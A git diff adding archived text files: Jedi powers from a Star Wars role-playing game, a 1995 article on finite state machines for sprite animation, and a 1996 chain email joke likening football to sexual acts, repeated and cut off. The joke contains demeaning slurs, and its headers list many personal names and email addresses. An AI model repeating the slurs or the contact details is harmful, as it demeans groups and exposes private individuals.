Difficult + Effect: Using this power causes a Jedi to fall into a deep +trance, remarkably slowing all body functions. His heartbeat slows, +his breathing drops to barely perceivable levels, and he falls +unconscious. + Hibernation trance serves two purposes. It allows a Jedi to +"play dead." It can also be used to survive when food or air supplies +are low. Anyone who comes across a Jedi in hibernation trance assumes +the Jedi is dead unless he makes a point of testing him. Another Jedi +with the Life detection power and the sense skill will be able to +detect the Force within the hibernating character and realize he is +still alive. + A hibernating character uses about one tenth as much air as +someone who is simply sleeping. He can hibernate for a week in a dry +climate or for up to a month in a wet one before dying from lack of +water. + A character can decide what stimuli will bring him out of the +trance, or how long he will spend in the trance before coming out of +it. The stimuli or length of time must be declared when the character +enters the trance. + + +Instinctive Astrogation Control + + Control Difficulty: Very Difficult. Modified by astrogation +difficulty. + Time To Use: One minute + Effect: Instinctive Astrogation Control is far more difficult +than the standard sense -based instinctive astrogation power because +instead of trying to "feel" the correct solutions to the hyperspace +equations, the Jedicalculates them in his head. This is quite possible, +and is often done as a training exercise, but the figures generated are +rarely utilized because it is so easy even for a Jedi to make a +mistake. + The difficulty number is modified by how hard the task is with +the nav computer: + Task is: Modifier (add to difficulty): + + Very Easy 0 + Easy +5 + Moderate +10 + Difficult +15 + Very Difficult +20 + Heroic +30 + + + If the control total is successful, a Very Easy astrogation +roll is necessary to enter the correct routes into the nav computer. If +the Jedi fails the attempt, he overlooks an obstacle, and sends the ship +downan inherently dangerous path and thus instaed of requiring a Very +Easy astrogation total, the difficulty is automatically Very Difficult. +If the control roll is missed by five or more points, increase the +difficulty to Heroic. + This is a largely unknown application of the control power that +allows Jedi to plot astrogation paths, instead of using the more well- +known sense -based instinctive astrogation power. Instinctive +astrogation control is little more than curiosity, studied only by a +few theoretical Jedi, the most prominent of which in recent memory was +Hart Daele. In fact, Daele wrote a doctoral thesis on the subject, +proving that the high-order equations could be solved or under certain +special case situations, appoximated, using standard Jedi mediation +techniques. + + +Rage + + Control Difficulty: Difficult + Required Power: Hibernation trance + WARNING: A Jedi who uses this power gains a Dark Side Point + Note: This power can only be used by characters who have been +consumed by the Dark Side of the Force. + Effect: This power allows a character to feel the dread influence +of the Dark Side. It functions as a counterpart to emptiness. + The character must tense herself completely, and allow the +mindless rage of the Dark Side to possess her. When using this power, +a character will appear lifeless. They are amplifying the negative +aspects of their own personality, Leaving the face clenched in a +rictus of horror and fear. + A character must determine how long she wishes to be in rage when +she enters the trance. Barring an attack or the arrival of a specific +person (as explained below), the Jedi will stay in the trance for the +chosen duration. The Jedi must make a difficult control roll for +every four hours in the trance or she will have to come out of the +trance. + When the Jedi leaves this state, she gets a +10 modifier to all +Force skill rolls for a period of time equal to the time spent in rage. +The character take son die of damage for every two hours they were in +the trance after the bonus has subsided. + Like emptiness, this power makes characters oblivious to their +surroundings; they cannot move. Unlike emptiness, however, characters +this state strongly exude the Dark Side. The internal focusing does +provide some protection for the character against others using the force +on them. Add the rage control roll to the difficulty roll when another +attempts to use a force power on someone in rage. + Characters hunger and dehydrate twice as fast normally when using +rage and are even more susceptible to damage (-1D to Strength to +resist damage from physical and energy attacks while in this state). +Characters who plan on an extended trance will need intravenous +nourishment. + In rage, the character is less oblivious to her surroundings than +a corresponding Jedi in emptiness. For example, any physical contact +by a living being may revive them (the Jedi must make a Difficult +control roll to cease the attack before the offending character has +been killed. + A character using rage can choose to anticipate the arrival of a +foe. They must make a Difficult sense roll (modified by relationship) +with the life sense power at the time they enter rage. This will allow +them to instantly awaken (Easy control roll) if the expected person +comes within five meters of the person in rage. + + + Example: While preparing to transfer his life to a new clone +body, Palpatine expects an attack from Luke Skywalker. When he enters +rage, he must also make a Difficult sense roll using the life sense +power to anticipate Luke entering the Clone Chamber. The difficulty is +20, +7 for relationship (they are acquaintances) to equal 27, plus +Palpatine suffers a penalty for having to make two skill uses in one +round: the sense roll for life sense and the control roll for rage. +Palpatine's roll is 44, so when Luke enters the chamber, Palpatine +instantly wakes from his rage and confronts Luke... + + This power may be used in a preparation ritual for the transfer +life power. When a raged person uses transfer life, the original +body is instantly and totally consumed by the Dark Side, often bursting +into unholy blue flames. For every three points by which the control +roll exceeded the rage difficulty, the body does 1D damage upon +explosion (three meter blast radius). + + Example: Palpatine, while confronting Luke in the Clone Chamber, +has been in rage for three hours, gaining +10 to all is Force skills. +Palpatine's difficulty roll was 20. He rolled a 35. He successfully +uses the transfer life power and his old body explodes in a 5D damage +burst of flame. + + + +Reduce Injury + + Control Difficulty: Moderate for incapacitated characters, +Difficult for mortally wounded characters, Very Difficult for Dead +Characters. + Required Powers: Control pain + Note: Spending Force points in this manner - not at the beginning +of the round - is allowed. Also, it is not always a "selfish" act to +save one's life, so the character might be able to get the Force point +back. If the character was fighting to save his friends from certain +doom - and if he falls, they certainly die - then this could even be +considered an heroic action. It still involves great sacrifice. + Effect: By using this power, a Jedi may call upon the Force to +reduce the amount of injury he suffers; this power is normally only +used in desperation because of its long-term repercussions. + When the power is successfully used, The Jedi loses a Force +point. Any injury that is suffered is reduced to a wounded. If the +original injury would have killed the character, he must choose to +suffer a permanent injury of some kind. + + Example: Luke Skywalker and Darth Vader are fighting in the +Emperor's chambers on the new Death Star. Luke batters down Vader's +defenses and makes a killing strike - But Vader uses the reduce injury +power and expends a Force point. He is now only wounded, but he loses +his hand. + +Remain Conscious + + Control Difficulty: Easy for stunned characters, Moderate for +incapacitated characters, Difficult for mortally wounded characters. + Required Powers: Control Pain + Effect: Remain conscious allows a Jedi to remain conscious even +when he has suffered injuries which would knock him unconscious. In +game terms, when a character with this power suffers this kind of +injury, they lose all of their actions for the rest of the round, but +they are still conscious (normal characters automatically pass out). On +the next round, the character may attempt to activate the power - this +must be the first action of that round; the Jedi cannot even dodge or +parry. + + If the roll is unsuccessful, the character passes out +immediately. If the roll is successful, the Jedi can do any one other +action that he has declared for that round - often the character will +attempt control pain so that he will be able to remain conscious. After +that other action has been completed, the Jedi will lapse into +Unconsciousness, unless he has activated control pain or done +something else that will keep the character conscious. + + +Resist Stun + + Control Difficulty: Moderate + Time To Use: One Minute + This power may be kept "up." + Effect: Resist stun allows the Jedi to prepare his body to +resist the effects of stun damage. The power must be activated before +the character has suffered any damage. + Asuccessful result allows the Jedi to resist all stun results +except for unconscious and normal injuries. An unconscious result +forces the Jedi to drop the power, and he is considered stunned. +Normal injuries (wounded, incapacitated, mortally wounded and killed +) are treated normally. + + +Short-Term Memory Enhancement + + "Luke closed his eyes, reaching inward with the Force. Short- +term memory enhancement was one of the Jedi skills he'd learned from +Yoda. The pictures flowed swiftly backward in time: his walk to the +medical wing, his conversation with Wedge, his hunt for a public comm +desk ..." + + Control Difficulty: Difficult + Required Powers: Hibernation trance + Effect: When a Jedi uses this power, he or she can replay recent +events in order to more carefully examine images and peripheral +occurances. Using the power, a Jedi can freeze images and even scan +memory tracks to recall details that were seen but did +not register consciously at the time of observation. + In game terms, this power can be used to alert a Jedi to +information, items, other characters, or anything else that passed +before his or her senses within a specific span of time. In addition, +if a gamemaster provided clues or leads to clues the players originally +missed or ignored, this power can be used to recall them. When players +get stuck on a puzzle or a mystery within an adventure, this power can +alert them to possible solutions, if those solutions were observed +earlier in the adventure. + How far back a Jedi can remember with this power is determined by +the success of his control skill roll. + + Skill Roll Beats Memory + Dificulty By Extends Back... + + 0-8 Through Current Episode + 9-20 Through Last Episode + 21+ Through Last two Episodes + \ No newline at end of file diff --git a/textfiles.com/games/fsm.txt b/textfiles.com/games/fsm.txt new file mode 100644 index 00000000..ae27e8ce --- /dev/null +++ b/textfiles.com/games/fsm.txt @@ -0,0 +1,285 @@ +This article was published as: + +"Automata Animation" + PC Techniques, Vol. 6, No. 1 + Apr/May 1995, page 44 + +What appears here is the original manuscript, as submitted to Jeff +Duntemann. Any changes in the published version are due to Jeff's +expert editing. + + Modeling Sprite Animation Using Finite State Automata + copyright 1995 Diana Gruber + +Finite State Automata, also known as finite state machines or FSMs, +are a thereotical device used to describe the evolution of an object +based on its current state and outside influences. The present state +of the object, its history, and the forces acting upon it can be +analyzed to determine the future state of the object. Usually, finite +state machines are represented in terms of state transition tables. +While theoretically interesting, in general there do not seem to +be very many real world applications that take advantage of the +properties of finite state automata. + +In this article, we will talk about finite state machines, and their +associated diagrams, in terms of how they can be used to model sprite +animation in a computer game. The FSM model will give us a method +for designing the code that controls the sprite animation. The +question that concerns us is, given the position of a sprite in the +game and the forces acting upon the sprite, what happens next? This +is exactly the sort of question finite state automata are well suited +to answering, and we will see shortly how to do it. + +Basic Sprite Animation + +First, though, let's review the basic techniques of sprite animation. +We visited this topic once before, in the June/July 1994 issue of PC +Techniques (Breathing Life Into Your Arcade Game Sprite, page 89). In +that article, we looked at a very simple sprite, an airplane which +moves horizontally on a scrolling background, and occasionally +changes speed and spins about a horizontal axis. + +Such a simplistic sprite would not be very interesting in a modern +computer game. In modern games, we want to look at sprites that have +a wider range of motion: a hero sprite, for example, who runs, jumps, +kicks, and shoots; or an enemy robot sprite that rolls, bumps into +walls, and emits electrical charges. In order for a game to be +competitive in the current market, the sprite animation needs to be +creative and sophisticated. Maintaining control of such sophisticated +sprite action can be a challenge. + +My favorite technique for controlling sprite animation is through a +combination of data structures and action functions. The data +structures define both the nature of the sprite image, and its +position in the game. Let's take a quick look at the data structures +before we focus our attention on the action functions, which is where +the real work of sprite animation takes place. + +The basic building block of the sprite is the sprite structure, +which is defined like this: + +/* sprite structure */ +typedef struct _sprite +{ + char *bitmap; + int width; + int height; + int xoffset; + int yoffset; +} SPRITE; + +This structure holds the information necessary to display the +sprite, including its width and height, the bitmap that defines +the image, and the offset values. The offsets are used to adjust +the position of the sprite, and are useful with things like explosions, +which must be centered around a midpoint, rather than displayed +from a corner. + +The sprite structure is a member of the object structure, which is +defined like this: + +/* forward declarations */ +struct OBJstruct; +typedef struct OBJstruct OBJ, near *OBJp; + +/* pointer to object action function */ +typedef void near ACTION (OBJp objp); +typedef ACTION *ACTIONp; + +/* data structure for objects */ +typedef struct OBJstruct +{ + OBJp next; + OBJp prev; + int x; + int y; + int xspeed; + int max_xspeed; + int yspeed; + int direction; + int frame; + int tile_xmin; + int tile_xmax; + int tile_ymin; + int tile_ymax; + + SPRITE *image; + ACTIONp action; +}; + +This data structure contains all the information about a particular +object in the game, including its position (x and y coordinates), its +vertical and horizontal speed, the direction it is facing, the +frame of animation (for example, which stage of a six-stage walk), +the tile extents (how close the sprite may approach the edge of +the screen), and a pointer to the sprite image, which was defined +earlier. The sprite image changes as the sprite moves, and may +represent a sprite as walking, running, or shooting, for example. + +Defining Action Functions + +The last member of the object structure is the pointer to the action +function, which is where all the interesting work takes place. The +action function is a function which is executed once each frame for +each sprite. It performs several tasks. It causes the sprite to move +(by changing the object's x and y coordinates), it checks for +collisions, it may spawn new objects or kill off old ones, but +most importantly, the action function determines what the object +will do in the next frame. It does this by specifying the next +action function. + +Here is an example of an action function in its simplest form: + +void near sprite_stand(OBJp objp) +{ + if (fg_kbtest(LEFT_ARROW)) + objp->action = sprite_walk; +} + +This is the action function for a sprite standing still. As you can +see, the sprite does nothing. Its x and y coordinates do not change, +and its sprite image does not change. Also, as long as no key is +pressed, the sprite's action function does not change. As long as the +sprite continues to stand still, this action function will continue +to be called once each frame. + +The state of the sprite changes from standing to walking +when the left arrow key is pressed. When this happens, the +sprite_stand() function is abandoned, and the sprite_walk() function +takes over. This transition happens very simply: a pointer in the +object structure is reassigned to point to a new action function. + +The difficult part in programming sprite animation is deciding what +should go in the action functions. Since a sprite can do more +than one thing at a time (shooting while jumping, for example), the +programmer must make decisions about which action function should be +called. The choice would be calling the sprite_shoot() function, +with the jumping action being an incidental action happening within +the shooting function, or calling the sprite_jump() function, with the +shooting action incidentally happening within the jumping function. + +Action Functions As Finite State Machines + +As we mentioned at the beginning of this article, a finite state +machine can be defined as an object whose past history affects its +future behavior in a finite number of ways. This is exactly what is +happening with the action functions. The current state of the object, +combined with the forces and environmental variables acting upon it, +determines the future state of the object. This can be summarized in +the formula shown here: + + current state + input + environment = action + future state + +Usually, finite state machines are represented by transition state +diagrams. These simple little diagrams can be helpful in making +decisions about what goes in an action function. Suppose, for +example, you have a simple sprite that does only four things: it stands +still, it moves forward, it jumps, and it falls. These actions +depend on the keyboard input. No input causes the sprite to stand +still, an arrow key pressed causes the sprite to move laterally, and +the CTRL key causes the sprite to jump. When the sprite stops +jumping, he will fall. The transition state diagram will then look +like this: + + inputs: + + (none) (arrow keys) (CTRL key) + +state 1 1 2 3 +(standing) + +state 2 1 2 3 +(walking) + +state 3 4 3 3 +(jumping) + +state 4 4 4 4 +(falling) + + +This state transition table easily categorizes the sprite motion for +the simple sprite. By looking at this table, it is easy to see how +the action functions should be constructed. Each action function +is simply an if-else construction based on a row in the table. For +example, the code for the sprite_stand() function would look like this: + +void near sprite_stand(OBJp objp) +{ + if (fg_kbtest(LEFT_ARROW) || fg_kbtest(RIGHT_ARROW)) + objp->action = sprite_walk; + else if (fg_kbtest(CTRL)) + objp->action = sprite_jump; + else + objp->action = sprite_stand; +} + +The other functions, sprite_walk(), sprite_jump(), and sprite_fall() +would similarly be coded by consulting the entries in the +corresponding row in the state transition table. + +While the state transition table easily categorizes the sprite motion for +a simple sprite, it unfortunately does not tell the whole story. +Look at state 4, for example. It appears that once the sprite starts +falling, it continues doing so indefinitely. That is no good! Our +sprite would fall right through the floor. We need to include information +about the environment in our finite state machine. + +It would be quite simple if we could simply put the environmental +factors in another table. It would perhaps look something like this: + + environmental factors: + + (floor) (ceiling) (wall) (none) + +state 1 1 1 1 4 +(standing) + +state 2 2 2 1 4 +(walking) + +state 3 3 4 3 3 +(jumping) + +state 4 1 4 4 4 +(falling) + +From this table, it is clear if you are falling and you hit the +floor, you must stop falling. Similarly, if you are walking and +you are not on a floor, you must be prepared to begin falling. +This table still does not tell the whole story, however, because +it contains no information about the keyboard inputs. + +To completely tell the story of the sprite animation, you need to +add another dimension to the state transition table. This is done +by allowing different tables for each state. You can then compare +environmental variables to inputs, and generate new states, as follows: + + + State 1 +(standing) + inputs + (no key) (arrow key) (CTRL key) +environment +variables + +(none) 4 4 4 + +(floor) 1 2 3 + +(ceiling) 1 2 1 + +(wall) 1 1 3 + + +Now we have a way to chart out the sprite action based on both +environmental factors and keyboard inputs. A typical game will have +perhaps dozens of action functions, each one requiring a state +transition table. It can be time consuming to chart out all these +tables, and in the simpler cases, it will be an unnecessary exercise. +But in the more convoluted and difficult action functions, taking the +time to build a state transition table can greatly aid your coding +work. It will also eliminate bugs caused by "forgotten" inputs +or environment variables. All possible sprite states will be accounted +for. + diff --git a/textfiles.com/games/ftball1.txt b/textfiles.com/games/ftball1.txt new file mode 100644 index 00000000..c117109c --- /dev/null +++ b/textfiles.com/games/ftball1.txt @@ -0,0 +1,384 @@ +From TVXN53C@prodigy.com Sat Mar 30 16:02:02 1996 +Received: from pimaia2y.prodigy.com by mail.crl.com with SMTP id AA00541 + (5.65c/IDA-1.5 for ); Sat, 30 Mar 1996 16:02:01 -0800 +Received: from mailout3.prodigy.com ([199.4.137.97]) by pimaia2y.prodigy.com (8.6.10/8.6.9) with SMTP id TAA48214 for ; Sat, 30 Mar 1996 19:05:04 -0500 +Date: Sat, 30 Mar 1996 19:03:00 EST +From: TVXN53C@prodigy.com (MISS LUCY ROCHETTI) +X-Mailer: PRODIGY Services Company Internet mailer [PIM 3.2-086.45] +Message-Id: <097.04801225.TVXN53C@prodigy.com> +To: jawells@crl.com +Subject: Fwd: FOOTBALL +Status: RO +X-Status: + +Jason, + one of my friends sent me this little piece about the game of +football and I thought it would be neat to have some fun with it. For +some reason as I read it, it totally reminded me of Jessica Roberts. +Maybe we ought to put that in the PUB next year. Enjoy!! Lucy + + +<< Start of Forwarded message via prodigy (R) mail >> + +From: (GZXT34A) SUSAN WACHOWSKI +Subject: Fwd: FOOTBALL +Date: 03/27 +Time: 10:00 PM + +-- [ From: Susan Wachowski * EMC.Ver #2.10P ] -- + Expanded recipient data: + To: Kim \ MCI Mail: (586-6591) + To: ANYA \ Internet: (aplotkin@tasis.com) + To: ALICIA \ Internet: (nanna41@oneonta.edu) + + +------- FORWARD, Original message follows ------- + +> Date: Tuesday, 26-Mar-96 03:33 PM +> +> From: GABBY \ PRODIGY: (KXGZ07A) +> To: Sarah Fouts \ PRODIGY: (TGBX45C) +> To: Susan Wachowski \ PRODIGY: (GZXT34A) +> To: TRISHANN \ PRODIGY: (GNJJ24C) +> +> Subject: Fwd: FOOTBALL +> +> this is actually pretty creative. +> =) +> +> +> << Start of Forwarded message via prodigy (R) mail >> +> +> From: RSAbdullah@aol.com +> Subject: Fwd: FOOTBALL +> Date: 03/26 +> Time: 12:51 PM +> +> Date: Sun, 24 Mar 1996 23:51:21 -0500 +> From: RSAbdullah@aol.com [RSAbdullah@aol.com] +> Subject: Fwd: FOOTBALL +> +> --------------------- +> Forwarded message: +> From: caesar@connect.net (Ceez) +> To: hoque66@wharton.upenn.edu (Abeer), syzygy@eng.umd.edu (Amin + +> Eggdude), +> usi@haven.ios.com (Asif Ahmed), fahmed@usc.edu (Famin), +> fhussain@lib.law.du.edu (Farheen), L0A7924@VMS2.tamu.edu (Leana +> Ahmed), +> lisa@ssl.umd.edu (Lisa Hossaini), mchowdhu@acs.ucalgary.ca (Meena +> Chowdhury), +> saminac@hp-mpg.an.hp.com (Mita Choudhury), mukitbyf@aol.com (Mukit + +> Nana), +> mchoudhury@novatel.ca (Mushtaq), MSBS.NEUSUFZA@capital.ge.com +(Nurul +> Eusufzai), Rkabdullah@aol.com (Rash), gra5036@msu.oscs.montana.edu + +> (Rashed), +> RSAbdullah@aol.com (Russell), KXQM@MARISTB.MARIST.EDU (Russell +> Abdullah), +> Syani3@aol.com (Sania Hasnath), s_hanna@alcor.concordia.ca (Shahed), + +> sufiya@cs.mcgill.ca (Shampa), hussain@bsc.eds.com (Shanta Hussain), + +> sharmin@tiac.net (Sharmin Hakim), shoork@sas.upenn.edu (Shoor), +> haque@ee.mcgill.ca (Shumon), bw37@musicb.mcgill.ca (Shyla), sy@wrs. + +> com (Si), +> pan@acs.bu.edu (Suez Canal), suzan_a@alcor.concordia.ca (Suzana +Jhumi +> Alam), +> khanm@utdallas.edu (Tariq), saiful@eniac.seas.upenn.edu (Utshob), +> Zannat.reza@utoronto.ca (Zannat Reza), xcalibur@ritz.mordor.com +> (Arthur), +> kasperc@stm.com (Chris Kasper), edwards@stm.com (Dave Edwards), +> drekmann@stm.com (Dennis Drekmann), larsonk@stm.com (Kim Larson), +> sewell@stm.com (Lance), 295574@xavier.xu.edu (Paul), patelp@stm. +com +> (Pushman), richardw@stm.com (Richard Wiltshire), smpatel@lobby.ti. +> com +> (Sawrin), BOGGESS@xavier.xu.edu (Sean), early@mscd.edu (Steve +Early), +> +> zmehta@post.cis.smu.edu (Zubeman) +> Date: 96-03-22 01:52:19 EST +> +> +> Do you remember junior high and High school? Do you remember +talking +> about 'the bases' with your friends?...Well forget em!! This is +> *FOOTBALL* +> With the all new standardized guide to football, you can forget any + +> of the +> previous complications of having to remember the difference between + +> second +> and third base and all that other shit. And you wonder why there is + +> a +> strike in baseball and not football. Quite simply, baseball is a +> boring, +> confusing and often ambiguous game, especially when trying to +> compare it +> to sexual experiences. Whereas Football was invented for the soul +> purpose +> of understanding where you and your friends are at. Basically the +> game of +> football is one big sex metaphor. No one has discovered this yet, +but +> as +> you will soon see, the complications of modern romance are easily + +> solved +> using The Original Handbook Of Football. +> +> +_____________________________________________________________________ + +> _____ +> +> WHERE YOU ARE ON THE PLAYING FEILD (if your not on the feild, +get on) +> +> your 10 yard line ............. holding hands +> +> your 20 yard line ............. hugging +> +> your 30 yard line ............. kiss on the cheek +> +> your 40 yard line ............. kiss on the lips +> +> MIDFEILD ............. toungue kissing(your in +serious +> territory) +> +> his/her 40 yard line ............. shirt and bra off +> +> his/her 30 yard line ............. all clothes off +> +> his/her 20 yard line ............. ORAL SEX (getting or giving) +> +> 1ST AND GOAL ............. put on the condom +> +> GOAL LINE ............. TOUCHDOWN (SEXUAL INTERCOURSE) +> +> +> NOW THAT YOU KNOW WHERE YOU ARE ON THE FEILD HERE ARE SOME +IMPORTANT +> DEFINITIONS TO HELP YOU EXPLAIN HOW YOU GOT THERE. +> +> kickoff...................making the first move (asking for a +date) +> kicking it deep...........Asking out a virgin (you'll be starting +out +> deep +> in your own end) +> on-side kick..............Asking out a slut (starting near +midfeild, On +> side kicks are good if they work but are + +> risky) +> kick return...............How far you get on the first date +> +> NOW THAT YOU'VE ASKED HER OUT AND WENT ON THE FIRST DATE THE +KICKOFF IS +> OVER AND THE RELATIONSHIP BEGINS, HERE'S SOME MORE DEFINITIONS FOR + YOU. +> +> Downs.....................An attempt to get more yards(get further + with +> her, Here in Canada you get two downs +and +> then +> you best kick it. ask out a new girl +cause you +> ain't getting further with this one. +Americans +> are more patient, they get three downs +before +> they should kick again. +> Running the Ball..........Taking it one yard at a time. +> Passing Play..............Skipping stages +> +> OH OH +> +> Fumble....................Impotence +> Fumble Recovery...........Regain erection +> Interception..............Homosexuality (YOUR GOING THE OTHER +WAY!!) +> +> OTHER DEFINITIONS +> +> Turnover..................Anal sex +> Field Goal................One of you orgasm, 3pts (Field goal +range +> begins +> around their 30, when the clothes are +> off!) +> Touchdown.................Mutual orgasm, 6pts +> Extra Point...............The smoke afterwards +> Two Point Conversion......Smoke and a Phone number +> High Scoring Game.........Multiple Orgasms +> Rain Delay................Parents/Roommate comes home +> Pile Up...................ORGY +> Missed Feild Goal.........Wide right,Wide left or even worse, to +short! +> 3RD down and inches.......Call for a measurement (Move those +Yardsticks) +> +> +> THE OFFENSE +> +> Quarterback...............The most important position, the +missionary +> Quarterback Sneak.........Unusual positions +> Center(HUPPER)............Doggie Style +> Running Back..............A hand-off +> Tight End.................Self Explanatory +> Wide Receiver.............Opposite of Tight End +> Nose Tackle...............(Use Your Imagination) +> +> +> DEFENSE (Becoming more and more important these days) +> +> Defensive Line............Condom +> Break in the defence......Condom breaks +> The Safety................The Pill (just to be safe) +> A Blitz...................A "Quickie" +> +> +> PENALTIES +> +> Roughing..................S & M +> Holding...................Handcuffs or Restraints +> Offside...................Premature Ejaculation +> +> THE BOWLS +> +> Rose Bowl.................Romantic sex (MAKING LOVE) +> Citrus Bowl...............Healthy or Safe Sex +> Peach Bowl................Juicy/Wet Sex +> Fiesta Bowl...............Sex in South America +> Superbowl.................Marriage (The Big Dance) +> +> +> SO NOW THAT YOU KNOW THE FIELD AND ALL THE DEFINITIONS YOU CAN SEE + HOW +> TO +> USE THEM, HERE ARE SOME EXAMPLES OF HOW USEFULL THE ORIGINAL +HANDBOOK OF +> FOOTBALL REALLY IS. +> +> 1. There was an on-side kick to what I thought was a wide receiver + but +> it turned out to be a tight end so there was a turnover. +> +> 2. Their was a deep kickoff with no return. I ran the ball to mid- +field +> but +> then decided to go to the passing game. The passing play didn't + work +> because of a fumble. On the next down a running back took it to + their +> 10 +> yard line. With 1ST and goal, the action moved from the Hupper +to the +> Quarterback who did a Quarter back sneak. The game turned out +to be +> the +> highest scoring Fiesta Bowl ever!!! +> +> 3. I was Roughed in the massive pileup. +> +> 4. It was third down and inches on the 20 Yard line but on the +field +> goal +> attempt I was short. +> +> +> I HOPE YOU HAVE ENJOYED OUR JOURNEY THROUGH THE ORIGINAL HANDBOOK +OF +> FOOTBALL AND YOU HAVE NOT ONLY HAD A CHUCKLE BUT WILL PASS IT ON +TO AS +> MANY PEOPLE AS YOU KNOW SO THAT ONE DAY THE ORIGINAL HANDBOOK OF +> FOOTBALL WILL REPLACE THE OLD, OUTDATED, INEFFICIENT, NO LONGER +FUNNY +> STANDARDIZED GUIDE TO THE BASES. +> +> +> -+*&%$%&*+-+*&%$%&*+-+*&%$%&*+-+*&%$%&*+-+*&%$%&*+-+*&%$%&*+- +> +*&%$%&*+- +> +> Caesar Abedin Love remains a secret when spoken +> caesar@connect.net for only a lover truly knows +that +> http://www.connect.net/caesar he is loved. - R. +Tagore +> +> Sex is just a sublimation of the math urge. +> +> 03/22/96 +> +> +> -------- Original message header follows -------- +> From @VM.MARIST.EDU:KXQT@MARISTB.MARIST.EDU Mon Mar 25 12:51:55 +1996 +> [PIM 3.2-030.47] +> Received: from VM.MARIST.EDU (vm.marist.edu [148.100.1.2]) by +> pimaia1w.prodigy.com (8.6.10/8.6.9) with SMTP id MAA57110 for +> ; Tue, 26 Mar 1996 12:49:04 -0500 +Received: +> from VM.MARIST.EDU by VM.MARIST.EDU (IBM VM SMTP V2R3) +> with BSMTP id 9102; Tue, 26 Mar 96 12:45:49 EST +> Received: from MARISTB.MARIST.EDU (NJE origin MUSICB@MARIST) by VM. + +> MARIST.EDU (LMail V1.2a/1.8a) with BSMTP id 4604; Tue, 26 Mar 1996 + +> 12:45:49 -0500 +> Resent-Message-Id: <26MAR96.13773091.0110.MUSIC@MARISTB.MARIST. +EDU> +> Resent-Date: Tue, 26 Mar 1996 12:45:10 EST +> Resent-From: "Laufer, Rebecca R." +> Resent-To: +> X-Mailer: MUSIC/SP V4.1.0 +> Received: by MARISTB.MARIST.EDU (MUSIC Mailer V4.1.0); Sun, 24 Mar +96 +> 23:48:21 +> EST +> Received: from MARIST (NJE origin SMTP@MARIST) by VM.MARIST.EDU +(LMail +> V1.2a/1.8a) with BSMTP id 5251; Sun, 24 Mar 1996 23:48:22 -0500 +> Received: from mail06.mail.aol.com by VM.MARIST.EDU (IBM VM SMTP +> V2R3) with TCP; +> Sun, 24 Mar 96 23:48:20 EST +> Received: by mail06.mail.aol.com (8.6.12/8.6.12) id XAA17256; Sun, +> 24 Mar 1996 23:51:21 -0500 +> Date: Sun, 24 Mar 1996 23:51:21 -0500 +> From: RSAbdullah@aol.com +> Message-ID: <960324235117_177000949@mail06> +> To: AlKtraZ@aol.com, PsnChckn@aol.com, sgg6994@siena.edu, +> sbjones@acsu.buffalo.edu, jc99@uno.cc.geneseo.edu, +> smb0585@siena.edu, +> JD307@MARISTB.MARIST.EDU, KXQS@MARISTB.MARIST.EDU, +> KXQT@MARISTB.MARIST.EDU, KXQQ@MARISTB.MARIST.EDU, brie4@mhv. + net, +> KXQV@MARISTB.MARIST.EDU, KXQP@MARISTB.MARIST.EDU, +> DanJohnM@aol.com +> Subject: Fwd: FOOTBALL +> +> -------------- End of message --------------- +> +> +> +> << End of Forwarded message >> + +------- FORWARD, End of original message ------- + + + +<< End of Forwarded message >> + + diff --git a/textfiles.com/games/ftball2.txt b/textfiles.com/games/ftball2.txt new file mode 100644 index 00000000..cb1af202 --- /dev/null +++ b/textfiles.com/games/ftball2.txt @@ -0,0 +1,384 @@ +From TVXN53C@prodigy.com Sat Mar 30 16:02:02 1996 +Received: from pimaia2y.prodigy.com by mail.crl.com with SMTP id AA00541 + (5.65c/IDA-1.5 for ); Sat, 30 Mar 1996 16:02:01 -0800 +Received: from mailout3.prodigy.com ([199.4.137.97]) by pimaia2y.prodigy.com (8.6.10/8.6.9) with SMTP id TAA48214 for ; Sat, 30 Mar 1996 19:05:04 -0500 +Date: Sat, 30 Mar 1996 19:03:00 EST +From: TVXN53C@prodigy.com (MISS LUCY ROCHETTI) +X-Mailer: PRODIGY Services Company Internet mailer [PIM 3.2-086.45] +Message-Id: <097.04801225.TVXN53C@prodigy.com> +To: jawells@crl.com +Subject: Fwd: FOOTBALL +Status: RO +X-Status: + +Jason, + one of my friends sent me this little piece about the game of +football and I thought it would be neat to have some fun with it. For +some reason as I read it, it totally reminded me of Jessica Roberts. +Maybe we ought to put that in the PUB next year. Enjoy!! Lucy + + +<< Start of Forwarded message via prodigy (R) mail >> + +From: (GZXT34A) SUSAN WACHOWSKI +Subject: Fwd: FOOTBALL +Date: 03/27 +Time: 10:00 PM + +-- [ From: Susan Wachowski * EMC.Ver #2.10P ] -- + Expanded recipient data: + To: Kim \ MCI Mail: (586-6591) + To: ANYA \ Internet: (aplotkin@tasis.com) + To: ALICIA \ Internet: (nanna41@oneonta.edu) + + +------- FORWARD, Original message follows ------- + +> Date: Tuesday, 26-Mar-96 03:33 PM +> +> From: GABBY \ PRODIGY: (KXGZ07A) +> To: Sarah Fouts \ PRODIGY: (TGBX45C) +> To: Susan Wachowski \ PRODIGY: (GZXT34A) +> To: TRISHANN \ PRODIGY: (GNJJ24C) +> +> Subject: Fwd: FOOTBALL +> +> this is actually pretty creative. +> =) +> +> +> << Start of Forwarded message via prodigy (R) mail >> +> +> From: RSAbdullah@aol.com +> Subject: Fwd: FOOTBALL +> Date: 03/26 +> Time: 12:51 PM +> +> Date: Sun, 24 Mar 1996 23:51:21 -0500 +> From: RSAbdullah@aol.com [RSAbdullah@aol.com] +> Subject: Fwd: FOOTBALL +> +> --------------------- +> Forwarded message: +> From: caesar@connect.net (Ceez) +> To: hoque66@wharton.upenn.edu (Abeer), syzygy@eng.umd.edu (Amin + +> Eggdude), +> usi@haven.ios.com (Asif Ahmed), fahmed@usc.edu (Famin), +> fhussain@lib.law.du.edu (Farheen), L0A7924@VMS2.tamu.edu (Leana +> Ahmed), +> lisa@ssl.umd.edu (Lisa Hossaini), mchowdhu@acs.ucalgary.ca (Meena +> Chowdhury), +> saminac@hp-mpg.an.hp.com (Mita Choudhury), mukitbyf@aol.com (Mukit + +> Nana), +> mchoudhury@novatel.ca (Mushtaq), MSBS.NEUSUFZA@capital.ge.com +(Nurul +> Eusufzai), Rkabdullah@aol.com (Rash), gra5036@msu.oscs.montana.edu + +> (Rashed), +> RSAbdullah@aol.com (Russell), KXQM@MARISTB.MARIST.EDU (Russell +> Abdullah), +> Syani3@aol.com (Sania Hasnath), s_hanna@alcor.concordia.ca (Shahed), + +> sufiya@cs.mcgill.ca (Shampa), hussain@bsc.eds.com (Shanta Hussain), + +> sharmin@tiac.net (Sharmin Hakim), shoork@sas.upenn.edu 